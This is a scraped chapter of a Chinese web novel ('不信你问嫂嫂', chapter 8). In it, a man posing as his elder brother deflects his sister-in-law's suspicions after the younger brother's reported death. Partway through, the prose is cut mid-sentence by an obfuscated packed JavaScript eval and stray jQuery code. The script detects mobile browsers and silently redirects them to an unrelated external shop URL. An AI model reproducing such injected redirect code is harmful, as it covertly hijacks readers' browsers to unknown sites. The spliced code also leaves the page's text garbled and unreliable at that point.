文趣网 > 其他小说 > 不信你问嫂嫂 > 8. 圆谎
    今夜无月,烛光朦胧。

    乌衔枝眼神坚韧,探究意味十足,俞临川却被她眸中闪烁的烛火吸引,烛火明灭间,俞临川于乌衔枝的眸中看清了自己。

    纵使遮了红痣,换了衣裳,他却仍旧是他。

    怪不得阿嫂这么快就察觉出了不对。

    俞临川嗤笑道:“娘子果真疑我?若我是二郎,如此行事,大郎岂能容我?阿母又怎会纵我?总不会阖府上下皆被我骗过了吧。”

    “就算我真有这个能耐。那敢问阿嫂。”

    他轻勾唇角,似笑非笑,

    “我冒着被拆穿后身败名裂的风险假扮大哥,有何利可图?”

    他语气寻常,却字字珠玑,句句说到乌衔枝心坎里。

    二郎手握实权,受人敬畏,而大郎不过是个虚职,二郎假扮大郎不仅权势大减,若被揭发,轻则遭百官弹劾,臭名远扬,重则罢官免职,遗臭万年,可谓是有百害而无一利。

    是人就会趋利避害。

    乌衔枝想不通有何利可图,可眼前人除了右眼眼尾没有那颗红痣,所言所行无一不更像二郎,尤其是方才这番诘问,绝非大郎能说出来的。

    “郎君说笑了。”乌衔枝直勾勾地盯着俞临川右眼眼尾的位置,故作随意道,“真有脏东西,我取下来给你看。”

    说着便伸出了手。

    俞临川眼底闪过错愕,一瞬后轻笑出声。

    昨夜一见,他还以为她变了呢。

    不想六年了,她还是这样,不因旁人言语而退缩,想做的事一定要去做,从不犹豫,也不计后果,身上总有一股破釜沉舟的气势。

    他不再躲闪,任她靠近:“我想除非我死了,不然我不会让二郎如此行事。”

    乌衔枝手指一颤。

    俞临川嘴角含笑接着道:“若大郎真死了,你当如何?”

    乌衔枝手指悬在红痣上方,亦笑道:“郎君若去了,妾自相随,天上地下,碧落黄泉,你我夫妻二人永世不分离。”

    这话她听俞涉川说得耳朵都要起茧了,今日自她口说出,竟别样畅快。

    阿嫂竟与大哥相爱至此。

    俞临川笑意尽失,眸色瞬间黯淡,他张了张嘴,却说不出一个字来。

    今日之欢愉、忐忑、愤懑、怯懦、悸动,皆是他机缘巧合占了大哥的,却也是他晦暗半生里难得的光亮。

    若有一日马革裹尸,死前走马灯里,必定满是今日之景。

    可这到底不是他的。

    俞临川垂眸掩下眼中落寞,未察觉到乌衔枝手指已近在咫尺。

    “大娘子!”

    李嬷嬷一声高喝从院门口传来。

    乌衔枝吓了一跳,她蹙眉转头,就见李嬷嬷一脸惊恐地朝她奔来。

    乌衔枝无奈收手:“李嬷嬷这是怎么了?凭白一声,好不吓人!”

    李嬷嬷瞥了眼俞临川,泪眼婆娑道:“大郎,老夫人让奴婢送白布来。”

    李嬷嬷手里端着的白布不在少数,若非国丧、家丧,哪儿用得了这么多。

    “二郎已去。”李嬷嬷红着眼哽咽道,“老夫人说,大娘子有孕,不必临丧,不哭不送。可二郎与大郎毕竟是一胎出生,不送送总归不好,所以锦舒院里还是挂起白布来罢。”

    “还望大娘子多体谅。”

    什么叫“二郎已去”?

    小叔?死了?

    怎么可能。

    乌衔枝茫然看向俞临川。

    “大郎,老夫人让奴婢转告您,兄弟已去,俞家人丁衰败,大娘子腹中胎儿万不可再有失。”李嬷嬷抹了把泪,继续道,“老夫人如今只盼着孙儿平安降世,才能稍稍排解丧子之痛。”

    乌衔枝瞳孔微颤,她看着俞临川,轻声试探:“真的?”

    俞临川眼神躲闪,轻轻摇头,嘴角露出抹苦涩的笑来:“我也不信。”

    乌衔枝脑子里嗡的一声,昨夜还见过的人,横刀在手以一敌百的人,怎么突然就没了?

    “你早就知道了?”她不可置信地盯着俞临川,脑海中闪过他今日的不寻常,在俞临川的沉默中,乌衔枝逐渐说服了自己,也为俞临川的反常找到了理由。

    痛失亲弟,心苦难言,故而话少了些。

    忽觉人生无常,亲人可贵,故而怜爱娘子,体贴备至。

    乍闻娘子有孕,悲喜交加,心神恍惚,故而没分清是汤还是药。

    怪不得方才还问她,若是他去了,她怎么办。

    一切都说得通了。

    乌衔枝愧疚不已,她默默拉起俞临川的右手。

    李嬷嬷还在喋喋不休地说着:“若这个孩子再没了,那老夫人怕是也要随他去了。大郎,为了老夫人,也万不可让大娘子肚里的孩子有闪失啊。”

    她盼着能得俞临川个准话,好回去让于老夫人再安心些。

    乌衔枝挡在俞临川身前,对李嬷嬷道:“老夫人痛失爱子,大郎亦痛失亲弟,皆是痛彻心扉。吾为俞家媳,小叔乍去,难免哀恸,却也知稚子无辜,儿媳自会珍重身子,以保血脉绵延。还请老夫人放宽心些。”

    俞临川垂眸看着挡在自己身前的单薄身影,感受着手心温热触感,心下软得一塌糊涂。

    这还是第一次有人站出来护着他。

    他轻轻将手从乌衔枝掌心抽出:“逝者已矣,生者如斯。李嬷嬷,你要多劝劝阿母,万事还须自己多开看些。”

    李嬷嬷实不敢和俞临川硬碰硬,她瞥过二人分开的手,强扯住个笑来:“老夫人年事已高,脾气硬,奴婢多劝劝,也望郎君多念着些。”

    俞临川点头:“自然如此。”

    “郎君明白老夫人苦心便好。”李嬷嬷埋着头,擦着泪走了。

    乌衔枝还从没见自家郎君这么硬气过,望向俞临川的眸子变得亮晶晶的。

    俞临川被她瞧得颇为不自在,偏头闷声道:“怎么,脸上还有脏东西?”

    他是明知故问。

    乌衔枝柔声回怼:“郎君目若朗星,瞧得妾心猿意马,难免看错。”

    大哥真是脑子坏了,才会说阿嫂性子冷淡。

    俞临川闭了闭眼,头偏得更低了,他藏住了眼中的波澜,却忘了红透了的耳尖正明晃晃地露在乌衔枝眼前。

    乌衔枝抿唇,悄悄贴近,附耳轻语:“郎君是在怪妾吗?”

    这就是赤裸裸的挑逗!

    “怎么敢。”俞临川涨红了脸,起身就要逃,“我去给你打洗脚水。”

    乌衔枝拉住他的小臂,摇头道:“今日练剑,不洗脚了,洗澡。”

    “好、好。”

    俞临川强装镇定地坐下,轻轻扭动手臂,想从阿嫂手里抽出来,不想却被乌衔枝一把将手拉了过去。

    阿嫂柔弱无骨的温热手掌紧紧贴着他手背,俞临川整条手瞬间僵硬,方知何为心猿意马,坐立难安。

    “郎君,妾想知道,二郎那样的人物,是怎么走的?”

    乌衔枝到底还是问了出来,“妾随口问问,郎君不想说便罢了。”

    亲人离世,有人需将苦痛深埋心底,再不提及,才能苟活。

    可俞临川深知,自己的大哥不是这样的人。

    俞涉川不会将悲伤藏在心底,他的喜怒哀乐总要说出来,引人注目才畅快。

    若是不答,恐引阿嫂疑心又起。

    俞临川思虑再三,垂眸避开乌衔枝关切的眼神,道:

    “昨夜城外军营遇袭,为护陛下而死。”

    “不可能!”乌衔枝笃定地反驳,“二郎可是金吾大将军,一柄横刀所向披靡,以一敌百都不在话下,怎

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17787913|210233||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    会在自家军营战死!”

    明明是夸赞的话,可俞临川听着心里空落落的。

    微风吹动他额间的碎发,俞临川眼尾微微泛红,他垂眸掩下万千思绪,只苦笑道:

    “所有人都是这么想的,或许他也这么认为。”

    摇曳的烛火照不亮他的眼眸,悲戚似从心底蔓延,而后萦绕周身。

    乌衔枝以己度人,想着若是二妹忽然横死……

    不行,她接受不了这个假设,只是想想她便觉着心口堵得慌。

    她心有戚戚,紧了紧握着的手,指尖划过一块块厚重的剑茧,心中疑窦丛生,却不好问出口,只能感叹命运无常,傅子真害人不浅。

    白布挂满锦舒院时,乌衔枝心下一紧。

    昨夜将食盒和酒壶递给俞临川的画面于脑海中一遍遍慢放,单手拉紧缰绳的肆意,含笑道谢时颤动的红痣,随着画面愈发清晰,乌衔枝心底缓缓升起个可怕的念头来。

    她捏着俞临川骨节分明的食指,愧疚于心底翻涌:“二郎他,酒量如何?”

    电光火石间,俞临川瞬间猜到她想到了什么。

    他忍着没有抬眼,故作平淡道:“自是极好,可惜昨夜我与陛下对饮,唤他一起,他拒了。”

    石榴酒很好喝,他很珍惜,谁也没死,和你毫无关系,所以阿嫂不要自责。

    乌衔枝红了眼,她不由自主地去想,有没有万分之一的可能。

    不是因为石榴酒,那会不会是因着送她回府,进出城的路上被贼寇察觉、尾随、埋伏。

    每一种可能都压得她喘不过气来。

    良久无言,掩面自泣。

    俞临川坐立难安,抿唇安慰:“若非昨夜与陛下对饮,合该我送娘子回府的。劳二郎相送时,我还说两日请他吃酒道谢,却不想,他就这么去了。”

    他微微一顿,用力咬破舌尖,鲜血顺着嘴角流下时,他假装哽咽道,

    “若非我……是不是他就不会……”

    乌衔枝亦是如此想,如果不是她,二郎是不是就不会死。

    眼泪再难忍耐,她一头扑进了俞临川怀里,低声哽咽着安慰另一个自责之人:“如何怪得了你,若不是我去找你,也不必二郎相送。”

    俞临川没想到还有这茬,实在想不到还能如何开解,僵着身子无奈道:“总不好怪阿母。”

    “自不怪老夫人。”乌衔枝偏头擦泪,蹙眉抬头瞥了眼俞临川,这才察觉到他嘴角一片鲜红,“何苦拿自己身子置气!”

    手帕擦过唇畔,俞临川轻笑道:“与你毫不相干的事,你又何苦怪自己。”

    本意是想劝阿嫂想开些,说出口却不知怎得多出几分置气与责怪的意味来。

    俞临川颇为懊恼,只能又道:“我的意思是,你我都需想开些。”

    乌衔枝茫然地看着俞临川,一时竟有些迷惘。

    她不知俞临川是从那句开始是安慰她的,也不知他为何要宽慰她,明明死了亲弟的是他,更难受的该是他才对:

    “你……”

    俞临川暗道糟糕,又说错话了。

    他等着乌衔枝的审判,搜肠刮肚地想着借口,不想却听她轻声道:

    “郎君可知当年我差点就嫁给了二郎?”

    俞临川呼吸一滞:“什么?”

    乌衔枝轻叹一声:“二郎一心向武,不愿娶妻,幸得郎君怜爱,妾才能有一容身之所,妾的阿母才得以瞑目。”

    “若无郎君,妾不知会身在何处,亦不知该何去何从。”

    “郎君活着,便是妾最大的幸事,还望郎君珍重再珍重。”

    俞临川仰身拉开与乌衔枝的距离,抬手粗暴地擦尽嘴角鲜血,垂眸间嗤笑出声:“珍重、再珍重。”

    “娘子所言,某永志不忘。”